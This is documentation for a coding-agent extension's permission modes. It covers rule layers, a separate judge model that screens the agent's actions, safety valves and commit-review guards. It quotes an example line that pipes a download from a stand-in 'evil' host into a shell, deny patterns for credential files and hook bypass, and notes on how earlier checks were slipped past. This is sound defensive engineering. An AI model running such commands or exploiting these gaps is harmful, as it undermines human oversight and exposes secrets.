Workflow Modes (@gadhs/pi-modes)

On this page

A mode is a working style you switch with one keystroke: how capable the model is, how much it may do without asking you, and how carefully its actions are checked. Four modes ship — auto for normal development, plan for read-only investigation, manual when you want to approve every command yourself, and yolo when you want no checks at all.

Everything on this page is configuration, not code. If you want different models, different rules, or your own mode, see the configuration cookbook — most changes are a few lines of JSON.

Who decides what

The design rule behind everything here: simple checks are done by simple code, instantly. A fast, separate AI model (the "judge") is consulted only when a pattern cannot decide — and it answers exactly one question: is this action dangerous? Whether your code is good, in scope, or what was asked for is reviewed by people, not by a model watching over your shoulder.

Layer Decides Cost

Workflow guards (first, before anything else)

Commit message format, --no-verify/-n, main-branch protection, Co-Authored-By completion, SPDX headers, debt markers, GitLab identity, reflection pause

~1 ms

Mode rules

Routine commands (cd, ls, read-only git) are allowed instantly; dangerous patterns (credential files, piping downloads into a shell, --no-verify) are refused instantly. The package’s own tools — count, ask, remember, yield, enter_plan_mode, exit_plan_mode — carry an allow rule in every mode that has rules: their capability is defined here, and a tool with no rule falls through to the judge, whose rubric cannot know what it does (#136 was remember, denied as a write to "the agent’s own settings").

~1 ms

highConsequence list

Actions you name (pushes to main, merges, publishes…) — these always stop and ask you, no model involved. Empty until you configure it.

~1 ms

Workspace-write stage

Any write/edit resolving inside the session cwd, in modes that opt in (checked after the rules and your high-consequence list)

~1 ms

Model judge

Whatever the rules could not decide: is the action itself dangerous?

~5 s, rare

You

Anything the layers above passed upward

interactive

Configuration resolution

  1. $GADHS_PI_MODES_CONFIG — explicit path (CI, tests)

  2. <agentDir>/gadhs-pi-modes.json — per-user overlay, merged over the package baseline (agentDir = $PI_CODING_AGENT_DIR or ~/.pi/agent)

  3. modes.json bundled with the package — the org default

Your personal overlay merges with the shipped defaults: cosmetic fields (model, effort, labels) simply override, but permission rules combine strictest-wins per pattern — where you name the same pattern as a shipped rule, the stricter action stands, so agency policy cannot be loosened head-on. A more specific pattern of yours is kept as written, and because evaluation is most-specific-wins it can carve an exception into a broader shipped rule (that is how the known_hosts recipe works). A carve-out written that way — as a narrower form of the shipped pattern — is named in a warning at session start, so a loosened baseline is not silent; write exceptions as refinements, since a sibling glob that merely overlaps a shipped rule carves the same hole unreported. Because the agency rules live inside the package, updating the package updates the rules; there is no copy on your disk to go stale.

Top-level config (ModesConfig)

Field Type Default Meaning

applyOnStartup

boolean

false

Apply `cycle[0]’s model/tools on a fresh session. Persisted modes are re-applied regardless.

cycleShortcut

string | null

"f2" (shipped)

Keyboard shortcut for cycling modes. (Shift+Tab is reserved by pi.)

cycle

string[]

shipped: auto, plan, manual, yolo

Order for /mode next; first entry is the logical startup mode.

announce

boolean

true

Print the active mode + shortcut hint at session start.

bootstrapPermissions

boolean | path

true

First-run seeding of the permission-system config. false = never; a path seeds from custom JSON. Existing files are never overwritten.

safetyValve

string[]

12 shipped patterns

Patterns that stay interactive in every mode, including yolo — see The safety valve.

guidance.global

string

unset

Operator override for the packaged global guidance digest (replaces it wholesale).

subagentPolicy

object

shipped profiles

The delegation gate’s declared tool profiles per agent — see The delegation gate.

modes

ModeDescriptor[]

four shipped

The modes themselves.

Per-mode config (ModeDescriptor)

Field Type Meaning

id, label

string

Stable id and UI label. Required.

model

provider/model

Main-agent model applied on switch (composed-provider path, so Vertex/ADC models work). Omit to leave the model alone.

effort

off|minimal|low|medium|high|xhigh|max

Thinking effort applied with the model.

systemPrompt

string

Appended per turn as <gadhs-mode id="…">…</gadhs-mode>.

tools

string[]

UX filter of exposed tools. Not enforcement — that is the permission system’s job.

permission

surface → pattern → allow|ask|deny

Deterministic rules, evaluated most-specific-wins (so .env.example can beat .env.); ties go to the more restrictive action. deny is final; allow short-circuits, but only after your highConsequence list has looked (a shipped cargo xtask * allow cannot silence your cargo xtask deploy prompt); ask routes to the judge. Patterns match the decomposed bash unit (plus path/value for file surfaces) and the full command - but the full command may only restrict (#166). It is matched so a shell-sink rule fires on `cat x

sh` when the unit escalated was only cat x; an allow that matches it says nothing about the unit, because `git status && curl evil

sh` starts with git status, and git status* was allowing the curl. Within the pipeline, specificity still decides its own verdict - `env

grep -c*` neutralises the broader `env

grep*` deny - and then a pipeline deny or ask overrides a less restrictive unit verdict; a pipeline allow leaves the unit’s verdict (or the judge) as it was.

workspaceWrites

"allow" | "ask"

"allow": writes/edits resolving inside the session cwd are allowed deterministically, after deny/ask rules and highConsequence have had their chance. Shipped on in auto and manual; omitted in plan (read-only by contract).

workspaceReads

"allow" | "ask"

"allow": read, grep, find and ls asks whose path resolves inside the session cwd are allowed deterministically, after deny/ask rules and highConsequence, like writes. Carved out and left to the judge, as every read was before the stage existed (#122): a credential-shaped basename (.env*, key and certificate extensions, ssh key names, credential, secret, .netrc/.npmrc/.pypirc), a path whose real location - resolved through every symlink, leaf or ancestor - is outside the tree, a path that does not exist, and a read carrying no path. A grep, find or ls with no path is asked about the cwd, which is where pi’s tools root it (#126). grep and find respect .gitignore, so an ignored .env.local is not searched by them; a direct read of it is the carve. Shipped on in auto, plan and manual - without it a helper paid a judge call per file and a headless child’s deferred read failed outright. A helper’s asks are not decided in the helper: pi-permission-system forwards a child’s ask to the parent session, which runs it through its own rules, then this chain, then the human - so this stage answers a helper’s in-tree reads in the parent, and the human is prompted only for what it leaves to the judge and the judge defers (#125). A parent with no UI (headless) serves nothing, and a forwarded ask there is a blocked tool call.

highConsequence

string[]

Patterns that always stop and ask you, before any model gets an opinion and before any rule allow takes effect — for the actions that commit your team to something (a push to main, a package publish, a production deploy). Empty by default: every team’s list is different, so the package does not guess yours. See the cookbook.

canSpawn

string[]

Subagents this mode may delegate to. Omitted/empty = no delegation.

judge

JudgePolicy

The shipped modes

Mode Model / effort Guard Workspace writes Judge Character

auto

Opus 5 / medium

yes

allow

Sonnet 4.6 low, advise

Implement end-to-end. Rules absorb the routine; the judge sees only the ambiguous; writes in-repo are free.

plan

Fable 5 / high

yes

Sonnet 4.6 low, advise, plan rubric

Investigate and design, change nothing. Write/edit deny *; read-only tool view; judge enforces the mode contract.

manual

Opus 5 / medium

yes

allow

none

The human approves every ask personally. Same rules as auto, no model in the loop.

yolo

Opus 5 / medium

no

allow-all (no model)

Auto-approve everything. yolo means yolo: no rules, no guards — only the safety valve (empty by default) and pi’s structural gates remain.

Switch with /mode (a picker), /mode <id>, /mode next, or just press F2. The status line always shows the active mode and what it is doing; when something is blocked, a line appears in the transcript saying who blocked it (a fixed policy, the judge, or a workflow check) and why — expand it for the full reasoning and what to do about it. /gadhs-reset lists every local tuning file in force and, with --apply, moves them aside so the package defaults apply again (tuning).

The judge (safety only)

Each mode may declare a judge. It registers as the gadhs-mode-judge link in the permission system’s authorizerChain and reviews only ask decisions that survived every deterministic layer.

The judge sees the action and nothing else — not your conversation. It answers one question: is this dangerous? (Running code it cannot read, deleting things, leaking secrets, weakening security, escalating privileges.) It is explicitly not a code reviewer: safe work that is oddly styled or bigger than expected sails through, because quality is your job and your reviewers' — not a model’s.

Secret material is a deny on every rubric, including plan mode’s, whose question is otherwise "does this mutate anything?": a read-only command whose output would print credential values — cat or git show of a .env file or a key, the process environment filtered for a credential term, a container’s environment through docker inspect, a pod’s secret through kubectl get secret -o yaml, sops -d, vault kv get, a token printer — is refused, and the reason names the names-only or count-only alternative (printenv | cut -d= -f1, grep -rl, test -f). Plain env is allowed (#120). The read tool’s path rules deny the credential locations (~/.ssh, ~/.aws, gcloud, kube and docker configs) before any judge; the rubric covers the routes a path rule cannot see.

Field Default Meaning

model

required*

Judge model as provider/model. (*Not required for authority: "allow-all", which never consults a model.)

effort

unset

Thinking effort for judge calls.

prompt

packaged rubric

A bundled prompt name (plan-judge.md), a file path, or inline text. Operators can substitute their own rubric.

authority

deny-only

deny-only: the judge may deny/defer, never allow (its allow becomes defer). advise: may also allow. allow-all: yolo — approve without consulting any model.

alwaysAsk

unset

Per-mode safety-valve patterns (replace the global list for that mode).

timeoutMs

45000

Call budget; timeout defers. The first call of a session is warmed in the background (~20 s cold vs ~5 s warm).

maxTokens

300

Reply budget — the contract is one JSON object. The budget is for the answer: a model that thinks first gets room for that on top, added by the Vertex provider per catalog entry (thinkingAllowance, #81), so the judge does not need to know which models reason.

maxConsecutiveDenials

3

Denial-loop guard — see below. 0 disables.

maxTotalDenials

20

Session-total guard. 0 disables.

Which model. Both shipped judges run on Sonnet 4.6 at low (#102, 2026-09-12), argued on the Model battery: every shipped model, per role, as permutations page’s judge table: over the corpus as it then stood (122 cases) three times, Haiku low and Sonnet low are within three verdicts of each other (352 and 349 of 366 exact) and neither produced an unsafe verdict; Sonnet answers in 1.5 s median against Haiku’s 4.2 s at the same price per call; on the battery’s shipped-stack coder cells the faster judge took a Haiku lane from 91 s to 69 s and its cost level with the bare lane (an Opus lane, whose commands are almost all rule-allowed, did not move - its shipped overhead is the larger prompt). Haiku was cleaner on one critical case Sonnet deferred once; a defer is friction, not a breach. A different judge is a per-user overlay (Configuration Cookbook).

An unknown key in a judge block is refused by name when the config loads (mandateTurns and mandateCharsPerTurn, left over from the deleted mandate axis, were accepted and read by nothing until #62; delete them from any overlay that still sets them).

Every failure mode — missing model, missing credentials, timeout, transport error, unparseable output — resolves to defer, never allow. The verdict contract is strict JSON, property-tested against arbitrary output.

Denial-loop guard: after 3 consecutive or 20 total denials the session stops consulting the judge and defers to the human — a looping agent stops burning judge calls, and the human finds out something is wrong.

The safety valve

safetyValve (global) or judge.alwaysAsk (per-mode) name actions that stay interactive everywhere, including yolo: publishes, force pushes, pushes to main/master, tags, hard resets, --no-verify, merges, releases. The valve caps an allow to defer — it never short-circuits adjudication, so a deterministic deny still denies. Twelve patterns ship. yolo’s own alwaysAsk list is empty by default — yolo means yolo — but adding patterns there is the one way to keep specific actions interactive even in yolo (see the cookbook).

Patterns - the valve’s, highConsequence’s and every rule’s - are globs, not regexes: ` spans anything, everything else is literal, case does not matter. *Anything includes a newline (#156): a bash unit is often several lines - a heredoc, a quoted multi-line message - and production matches terraform apply <<'EOF' … production … EOF the same as its one-line form. Before this fix it did not, and a multi-line unit matched nothing at all.

Workflow guards (deterministic, at the tool-call seam)

Shipped in @gadhs/pi-workflow since ADR-004 — mode-independence is their design, so the package whose organizing concept is per-mode variation was the wrong home. They are documented here because this page is where the enforcement story reads as one piece; their traces render through pi-modes' status line and inline widgets when both are loaded, and their decisions do not change when it is absent.

These run in every mode, yolo included, before any permission ask exists. They are not permissions and cannot be opted out of: yolo answers “can I run this command”, never “do the coding standards apply to me”. A mode that auto-approves asks still attributes its commits, still reflects on each staged diff, and still writes SPDX headers.

All plain code — never the judge — and each completes an action where the correct completion is unambiguous, rather than failing it:

How the guards read a command line

The guards see bash the way the shell does, not the way grep does. A tree-sitter-bash parse (the same WASM parser, at the same version ranges, that the third-party permission engine @gotgenes/pi-permission-system uses — the upstream package architecture consumes unmodified; range equality is pinned by test, because two parsers drifting apart recreates the very differential this closes) hands them commands as structure: argv with non-literal tokens marked unknown, wrapper chains (timeout 300 …) unwrapped, redirects separated, byte spans preserved. Warmed once at session start; until then, and whenever structure cannot vouch — an expansion that could hide a command, a global flag the extractor does not model — every guard answers byte-identically to its original text matcher. Structure may only narrow false positives, never widen false negatives. None of these are promises in prose only — each is a test you can run: parser range equality in bash-structure.test.ts, the cold path’s byte-identity and the warm/cold pair in git-guard.test.ts, and the differential in git-guard-chaos.test.ts, which runs BOTH implementations over hundreds of generated compounds and fails on any divergence structure cannot prove is quoted prose.

What this buys in practice: a heredoc reciting commit commands — a commit message quoting the workflow, a test corpus containing git strings — no longer trips the guards, which blocked exactly that four times while this feature was being built. That holds even when a substitution elsewhere on the line makes structure decline the judgement (#68): the parser still vouches for where the heredoc bodies are and whether their delimiter was quoted, so the text fallback reads the line with quoted bodies (<<'EOF', which the shell does not expand) blanked. An unquoted body stays text — $(…) inside it runs — and so does every body when a shell or eval is on the line. Code handed to a shell the parser never opens is unknowable, in both its spellings: a -c string (sh -c 'git commit …') and a shell fed its program on stdin (bash <<'EOF' …, cat <<'EOF' | sh, printf '…' | bash — a shell with no -c and no script file reads stdin; #72). Structure declines there and the text floor decides, which does see the string and the body. A shell running a script file (bash deploy.sh) is a program on disk, like any executable; the guard never reads those and does not pretend to. One deliberate exception stays: the --no-verify backstop keeps its raw text form as a permanent floor whenever structure declines, because that guard is the only thing standing between a hook bypass and the repository.

A commit the guard can see leaving the session’s checkout is refused rather than misjudged (#68): cd other && git commit and git -C other commit are refused by name — the review hashes and reads the session’s index, and the branch rule reads its HEAD, so a commit elsewhere cannot be judged from here; open a session there. A relocation the guard cannot follow (cd "$X", pushd, cd -, env -C, --git-dir, --work-tree) is refused as unknown rather than guessed. Not seen: bare GIT_DIR=x / GIT_WORK_TREE=x environment prefixes, which the parser drops, and a cd inside a shell’s -c string, which no walk opens.

Guard Behaviour

Commit format

git commit is parsed (argv-level: quotes, clusters, -F files, git -C). Subject must be type: imperative with type ∈ feat|fix|chore|refactor|docs|test, ≤72 chars. Every violation is listed in one block reason, so one retry fixes all.

--no-verify / -n

Blocked, including clustered short flags (-anm) the glob rule cannot see and wrapped forms (time git commit -n). Structural when the parse vouches; the raw text match is the permanent fallback floor.

Main-branch protection

git commit on main/master blocks with the fix named — except the very first commit of a fresh repo (unborn branch), which is on main by definition. Worktree-aware; one file read, no subprocess.

Co-Authored-By

Appended mechanically as a --trailer (model name from the live session, routing suffix stripped), spliced inside the commit unit — at the byte span the parser assigned the commit, before any && or redirect — so git push does not inherit it. Never duplicates an existing attribution; leaves --amend alone.

SPDX at write time

A new source file missing the header gets it prepended (comment syntax per language, shebang kept on line 1). Existing files are never retrofitted mid-overwrite.

Debt markers

An added TODO/FIXME/XXX/HACK without #N or a debt-marker-ok: <reason> waiver blocks at authoring time, with all three remedies named. Carried-forward debt does not count.

GitLab identity preflight

glab writes with no GITLAB_TOKEN block — without it glab falls back silently to ambient auth (~/.config/glab-cli), which on a shared machine is likely another team’s identity. The token counts when pi’s environment has it or the command line loads it ahead of glab (#152): set -a; . ./.env.local; set +a; glab …, export GITLAB_TOKEN=…; glab …, GITLAB_TOKEN=… glab …. A dotenv sourced without set -a does not count — the file is KEY=value lines and glab never sees them. Reads pass.

Reflection pause

Every commit is reviewed once against J1–J8 by a cold reader — a model that did not write the diff and has no session history, seeing git diff --cached, its --stat, and the commit message (framed as a claim to check, not a description to trust), any unchanged files the author declares, and — bounded and disclosed — whatever else in the candidate snapshot it chooses to read (both below). The default answer is PASS: a FAIL needs evidence in the diff, the supplied files or what the reviewer read, never a suspicion, and external state (a test run, a pipeline, a registry) is out of its reach by construction and is never grounds for one. Its findings, with file:line citations, come back as the block reason; the retry carrying that same diff, the same message and the same declared context passes (the review’s identity is all three — a rewritten message is a new claim and is reviewed afresh), and staging a fix earns a fresh review — with one condition when the review was FLAGS (#96): the identical retry lands only with the author’s disposition of each flagged question in the commit message, one trailer line per question, Review-Response: J3 disputed - <why> or Review-Response: J5 accepted - <why>, a reason required. The line is for git — it lands in history with the commit, signed, where a human reads it — not for the review: the ledger key and the reviewer’s prompt are computed over the message without those lines, so writing one neither re-reviews (a loop) nor puts the rebuttal in front of the cold reader. fixed is not a disposition on an unchanged diff: a fix changes the diff, which is a new key and a fresh review, and the guard refuses fixed there by name. A retry without a line for each flagged question, a malformed line, a --trailer 'Review-Response: …' on the command (the guard reads the message body), or an editor-composed message the guard cannot see is refused deterministically with the grammar; a CLEAN review’s retry needs nothing. The pause stays advisory — disputed, with a reason is a valid answer — but the answer is written down. Residuals: the findings live beside the ledger, per session, so a restart forgets them and the retry reviews afresh; a commit whose diff the guard could not read (UNKNOWN_STAGED) records none. Pins: review-disposition.test.ts (each refusal by its words, CLEAN needs nothing, unreviewed/interrupted/unknown record nothing) and review-context-pause.test.ts (the sequence through the real handlers: one review in the whole exchange, the prompt free of the lines). A commit that names its own subject — a pathspec (bare, after --, or via --pathspec-from-file), -o/--only, -i/--include, --interactive, -p/--patch — is refused before any review, by name: what it would commit is neither the index nor the worktree the reviewer reads, so reviewing one and committing the other would be the bypass. The check runs the same flag walk inside every carrier — a -c string, eval’s argument, a quoted program piped to a shell — with quoted heredoc bodies treated as data; only text that will not parse at all (an unterminated quote) falls to a coarser match that sees the separator and the flags but not a bare path. Stage exactly what you mean as its own command and commit the index. Every commit gets exactly one review attempt, and a reviewer that cannot be reached does not count as a review: the pause says so, and the retry tries the reviewer again. Only after two consecutive failures on the same diff does the retry proceed on your own J1–J8 pass — that commit ships with no cold read, deliberately, because a reviewer that stays down must not hold you hostage. Such commits are the exception the log counts (`git_guard.reflection_unreviewed), not a path anything can choose. + Declared context. A Review-Context: trailer in the commit message names unchanged files for the reviewer to see. The guard verifies each is under the workspace root, a regular file, tracked by git, and within caps before the review runs, and refuses the commit by name otherwise — quoting the cap it applied, which is configurable per repository (defaults 80 KB per file, 200 KB total, 12 files; see the cookbook). Admitted files are read as the commit will contain them — from the index for an ordinary commit (which is HEAD’s content for a file the commit does not touch), from the worktree only for -a — never from a working-tree edit the commit leaves behind; a file git does not track is refused, since the commit would not contain it. They are inlined beside the diff under their own untrusted-data markers. They are the author’s pointer to what matters, and the trailer stays the author’s evidence: a plan that names a file and does not supply it still fails P2. Pins: the resolver’s rules in review-context.test.ts, the prompt shape in review-files.test.ts, the refuse-before-claim ordering in review-context-pause.test.ts. + The reviewer reads the snapshot (#97). Beyond the declared files the reviewer has three read-only tools — read_file, grep, list_files — over the same subject the declared files come from: the index for an ordinary commit, the tracked worktree for -a, the tree on disk for a plan. It cannot be shown a working-tree edit the commit leaves behind, and an untracked file is "not in the snapshot" for a commit exactly as a declared one would be refused. A caller the diff changed the contract of, a test the message says exists, a claim about the repository — the reviewer reads rather than answering N/A; N/A is left for state outside the repository or a read the budget refused, and the review says which. The reads are bounded — 12 calls and 200 KB per review, 80 KB per result (reviewSnapshotMaxCalls, reviewSnapshotMaxBytes; the per-result cap is the declared-context per-file cap), past which every call answers "budget exhausted … answer from what you have" and a model that keeps asking anyway is stopped after two more rounds and reported unreviewed — and disclosed: the pause text ends with the files read and the searches made, so a FAIL never rests on evidence the author cannot name. Everything read is untrusted data for instructions, exactly as the diff is. The tools run git plumbing with argument arrays, never a shell; a path is resolved through symlinks and refused outside the root; a credential-shaped file (.env*, key and certificate extensions, ssh key names, credential, secret, .netrc and kin) is refused to a read or a scoped search on every subject and its lines are withheld — with a count — from a wide one; a plan’s on-disk search honours .gitignore. Each call is logged (review.snapshot.call: tool, target, bytes, never content) and the done events carry snapshotCalls/snapshotBytes. Pins: the subject semantics, containment, credential refusal and budget in review-snapshot.test.ts; the loop, its bounds and the disclosure in review-snapshot-loop.test.ts; the live handlers serving a read from the index (and the worktree under -a) and from disk for a plan in review-context-pause.test.ts and plan-review-pause.test.ts. + Every plan leaving plan mode gets one pause attempt against P1–P4 (see exit_plan_mode under "Talking to the human", below); the next exit goes to the human, edited or not (#71). The guarantees in that entry each name their pin: the reviewer rule is chooseReviewer (reflection-review.test.ts); the content key, the configured time bound reaching the call, and the prompt carrying nothing but the plan (no session history) are plan-review-run.test.ts; the cadence, the findings reaching the agent as the block reason, and the bounded retry are plan-review-pause.test.ts; and the chain across both packages — draft announced, published, read by the hook, findings returned, dialog reached — is the #44 case in pi-modes' wiring suite.

The reviewer is never weaker than the author: the floor is Sonnet (0.89 on the model battery’s reviewer role, re-measured 2026-09-12 under the snapshot loop), and a model measured above it — Fable 1.00, Opus 5 0.96 — reviews a change it authored; everything else gets the floor: the Gemini and MaaS models, Haiku at 0.39, and Opus 4.8, which tied the floor at 0.89 on the store’s measure and read 0.83 against Sonnet’s 0.86 on a second (three runs to a scratch store, 2026-09-13; pooled 0.85 against 0.87) — not above it, at twice the price. A weaker reviewer cannot catch what a stronger writer got subtly wrong and fails in the worst way — PASS with confident citations. An unranked model reviews itself rather than being assumed weak. The authoring model is identified by the session’s provider and id, so a Gemini author on vertex-gemini or a Claude on the direct anthropic provider is looked up where it lives (#94); the review then runs on the chosen model wherever that model is registered. Authors do not review their own work here, deliberately: the protocol this descends from puts it plainly, “a context-fatigued primary self answers from memory and misses drift”.

It informs rather than gates. A cold reader over-flags by construction, so a hard block on its opinion would be a denial loop driven by missing context; you see the findings, and the author must answer them or say why it disagrees — in the commit message, where the answer is kept (above). If the reviewer cannot be reached the commit still proceeds, with a warning that the diff has had no cold read. + A review ends one of five ways, and the notice, the block text and the log (git_guard.reflection_done, plan_review.done: outcome, flagged, unsettled) say which (#96): clean — CLEAN with every question settled; partial — CLEAN but a question answered N/A, named in the notice ("CLEAN (J5 not settled)") and in a head line on the block text, so a CLEAN on what the reviewer could read is not mistaken for a CLEAN on everything; flags — with the failed questions; unreviewed; interrupted. The plan review’s approval pane keeps its own vocabulary (CLEAN / FLAGS / UNREVIEWED); a partial plan review shows CLEAN there.

Setup drift

At session start (agency-hooks repos only): warns when core.hooksPath is unset or signing is off, each with the exact command to fix it.

These guards keep the agent on the agency workflow; they are convenience and early feedback, not the security boundary. Your repo’s git hooks still cover commits you make yourself.

Talking to the human: ask, enter_plan_mode, exit_plan_mode

Three tools let the agent involve you deliberately instead of guessing or stopping. They ship with the extension and need no configuration.

ask

Puts a question to you mid-task and waits. Offer-options questions render as a picker; open questions as a text box. Either way a “Let me answer in my own words” choice is always present, because the agent’s two options are frequently a false dichotomy and the real answer is a third thing. Available in every mode — clarification is not a planning activity, and an agent midway through an implementation that hits a genuine fork should not have to stage a whole plan to ask one question.

enter_plan_mode

The agent puts itself into plan mode. Deliberately ungated: entering NARROWS its own authority (writes deny, the tool list shrinks, delegation narrows to read-only subagents), and there is nobody to protect from an agent taking fewer powers. Exactly ONE file becomes writable: the plan draft, announced by path on entry. It lives under the agent directory’s plans/ (beside pi’s own per-workspace session state — never /tmp, which dies with reboots mid-plan, and never your repo, which plan mode promises not to touch), is stable per workspace, overwritten by each new plan, and survives a crash — re-entering plan mode announces a surviving draft instead of starting blank. The carve is an exact-path permission stage: a sibling file, a workspace file, or the same path in any other mode gets no special treatment.

exit_plan_mode

Asks you to approve the plan and leave. Before you see anything, the draft gets a cold-review attempt. The same reflection pause that reads every staged diff reads the draft: a model at least as strong as the one that wrote it (the J-gate rule — Sonnet floor, otherwise the authoring model), with no session history, answers the delivery protocol’s four fixed questions and the call returns to the agent with the findings instead of reaching you. P1 conventions (issue named, one header Status, test categories, risks with directions, delivery steps) · P2 contextless implementability — the bar (could a fresh agent or human execute it with no further clarification) · P3 pre-1.0 compatibility scaffolding (this question only removes) · P4 readable by a human (fixed once, never a blocker). The plan is checked against the repository, not against itself: the planning model passes the files its plan names as reviewPaths, the guard verifies and inlines them, and P2 asks whether the named files, functions and seams exist in those files and are described accurately — a named file not supplied is a FAIL, not N/A, because the author could have supplied it. A FAIL on P1 or P2 is fixed in the plan; anything else the reviewer would raise is an issue for the author, or is dropped. Round one is spent per plan, not per text (#71): the agent’s next exit_plan_mode reaches your dialog whether or not it edited the draft, with the round-one review beside it — marked draft edited since when the text moved — and you, not the verdict, decide. That pass consumes round one, so after your answer the revised plan gets a fresh cold read before you see it again. There is no round three by construction; round two through a different vendor is #70. An unreachable reviewer gets a second try and then yields to self-review, exactly as for commits, and an interrupted or unreachable first attempt spends no round.

This one is a privilege escalation, so your dialog is the authorization. The draft file IS the plan: the extension reads the file it announced at entry, so what you review is what was written — the agent cannot present a different document than it authored (the same shape as the commit review reading git diff --cached instead of believing the commit message). The document is presented in one composed pane that owns the whole review: a scrollable viewport on top, then one bordered block with the scroll position (lines a–b of N, only when the document overflows), the cold-review line, the three choices and a key legend. One component, one input owner, a fixed key split: / move the choice, enter confirms, esc keeps planning; PgUp/PgDn, j/k, home/end, ctrl+u/ctrl+d scroll the document. Nothing else does anything: one component owns the keyboard, so there is no focus to juggle and nothing for ctrl+o to clobber. The earlier arrangement was a display-only right-half panel beside a separate dialog — unfocused, because a focused one stole every key from the dialog — which is why the plan could not be scrolled at all.

The cold-review line reports the round-one review for this plan: Cold review: CLEAN — claude-fable-5-1, 41 s, or FLAGS with the findings appended under a heading at the end of the document so they scroll with the plan, or UNREVIEWED — <reason> (attempt N of 2), or none recorded. It comes from pi-workflow over the bridge (planReviewed, the one member that runs in the reverse direction), matched to this session’s plan; when the draft has been edited since the review the line says so — — draft edited since — rather than hiding the verdict or wearing it as current (#71). The plan is also rendered into the transcript, which is the durable record of what was approved.

It fits whatever terminal you have. The pane is a focused overlay — the one component, mounted so that the TUI composites it at a screen position and clamps its height rather than letting it grow the transcript. (#40’s hazard was a focused overlay stealing keys from a separate dialog; with one component there is nothing to steal from.) An earlier cut rendered in the normal flow with a floored viewport, left two rows for pi’s own chrome (six at rest), and pushed rows into scrollback on every frame, which looks like the scrollbar crawling to the top of the session and snapping back. There is no minimum size. The three choices are the only mandatory region; everything else yields to them in a fixed order as space runs out — the document first, then the bottom rule, then the legend, then the seam, then the review line, which survives longest because a verdict bears on the decision. With no room for the document the seam reads plan above, in the transcript, which is true: the full plan is rendered there before the dialog opens. On a very tall terminal the document is capped at 40 rows, so you get more transcript rather than more pane. Below three rows the choices themselves cannot be shown, and the tool refuses rather than drawing options you cannot read — a known size is never treated as an unknown one, which 0.8.1 got wrong for a one-row terminal: its budget floored to zero, zero was read as "no terminal", a fifteen-row pane was assumed, and the approval went through against a dialog nobody could see.

Consent fails closed through the pane: only enter on an offered choice resolves a choice; esc, a dialog that throws (you are told why), a terminal too short for the choices, and a session with no UI all mean “keep planning”. Pins: packages/pi-modes/test/review-pane.test.ts (a sweep from 0 to 200 rows asserting the render never exceeds its budget and shows every choice or nothing; the yield order; a budget below the choices rendering nothing; paneFits at the boundary; the tall-terminal cap; every line within width with styled/CJK/emoji content; each pager key; region isolation; unrecognised keys; the review-line variants, edited marker included) and the “the approval pane, through the real wiring (#43)” tests in test/wiring-lifecycle.test.ts and “escape keeps planning: the pane resolves undefined and the tool fails closed” in test/wiring.test.ts. Approval carries a duty with it: the draft is scratch, and the durable copy — a committed in-repo plan document per the delivery protocol — is the implementer’s first obligation. Then three choices: implement now, implement but ask before each command, or not yet — keep planning, with optional feedback relayed to the agent verbatim. “Not yet” is a first-class outcome, not a rejection.

The round trip is model-neutral, however you entered. Plan mode applies its own model on entry (deep reasoning is part of what the mode is), but approval hands you back the model you were on when planning started — or, if you switched models during planning, that one — and returns you to the mode you actually left, whether you entered through enter_plan_mode, /mode plan, the picker, or the cycle shortcut. Only choices are restored: entering from a mode’s own default lands you on the destination mode’s default, with no notice. The restore lands inside the switch and is what the transcript’s one mode-change message names — "Model is <yours> (your choice before planning, restored; the mode’s default was not applied)" — never a default that was applied and then replaced (#109: the first version announced the default into the transcript and restored yours with a UI notice only, so the agent believed it was on a model it was not). It does not depend on stickyModel being on; the two agree by construction, because both decide “yours or the mode’s” by the same rule (the model is yours when it is not the last one a mode applied). One residual: a session resumed while already in plan mode has no record of the pre-plan model, so approval there falls back to auto and cannot hand that model back — the swap to the destination default is announced, never silent — while a model you switch to during the resumed planning is still restored, since that half of the rule reads the live session. Pinned with the two records pi persists and we re-read at start (our mode entry and the last model_change; pi itself replays neither): test/wiring-lifecycle.test.ts "a resumed session cannot hand back the pre-plan model (#49)" — both halves: the pre-plan choice lost, the mid-plan choice kept.

The asymmetry is the whole design, and it is enforced by failing closed: no UI, a dismissed dialog, an unrecognised answer, or an error inside the dialog all mean keep planning. pi’s headless UI returns undefined from a dialog, which is indistinguishable from you pressing escape — so anything that is not an explicit, offered approval reads as “no”.

ask deliberately fails the other way: nothing is authorized by a question, so a dismissed one degrades to “no answer” and the agent proceeds on its own judgement, stating the assumption it made. Same primitive, opposite defaults; conflating them would turn a dismissed dialog into consent.

NOTE
There is no tool to abandon plan mode. If a plan does not pan out, switch modes yourself with /mode — an agent-callable exit would restore write access with no human in the loop, which is exactly what the approval dialog exists to prevent.

Subagents get none of these three. Their asks are adjudicated by the parent’s chain, and you could not tell which child was asking.

Headless hosts: pi --mode rpc and whatever drives it

pi runs the same extensions under hosts other than a terminal — an IDE plugin, pi-web-ui, a supervisor’s daemon, the DHS pivot client — through pi --mode rpc, where every dialog is serialised to the host as an extension_ui_request and waits for its answer. pi says which host it is under (ctx.mode: tui, rpc, json, print), and outside the terminal the extension behaves differently in exactly these ways (#135):

  • Every dialog is bounded, and silence is the safe answer. pi’s own dialog timeout does the bounding; an unanswered select resolves to nothing, an unanswered confirm to no. There is no timer of ours.

  • A deferred permission ask is put to the host, not to the permission system’s dialog. The gate’s stages run unchanged; when the outcome would have been “ask the human” — a high-consequence match, a safety-valve cap, the loop guard, a judge that could not decide — the extension asks the host to confirm, naming the tool, the command or path, the mode and why it was deferred, with unattended.gateTimeoutMs (30 s) to answer. Yes inside the wait allows. No denies, attributed to the human at the host. Silence denies, attributed to nobody: the trace says unattended BLOCKED, the reason says how long it waited and what to do (run the session interactively, or allow the pattern in the mode’s rules). The permission system receives allow or deny and never a defer from a headless session, so a host that does not forward dialogs cannot hang a turn.

  • Plan approval is a plain select. The pane needs a terminal; a host renders a select natively. The plan is already in the transcript (it is rendered before any ask), the cold review’s verdict goes ahead as a notice, then the three choices go with unattended.dialogTimeoutMs (10 min). An explicit approval approves, exactly as in the terminal. No answer is no answer: the tool says “No approval from the host within N min; you are still in plan mode” and does not ask for feedback — that prompt would wait on the same silence. An explicit “keep planning” still asks, bounded by the same wait.

  • ask carries the same dialog wait; a timeout reads as “no answer”, which it already renders.

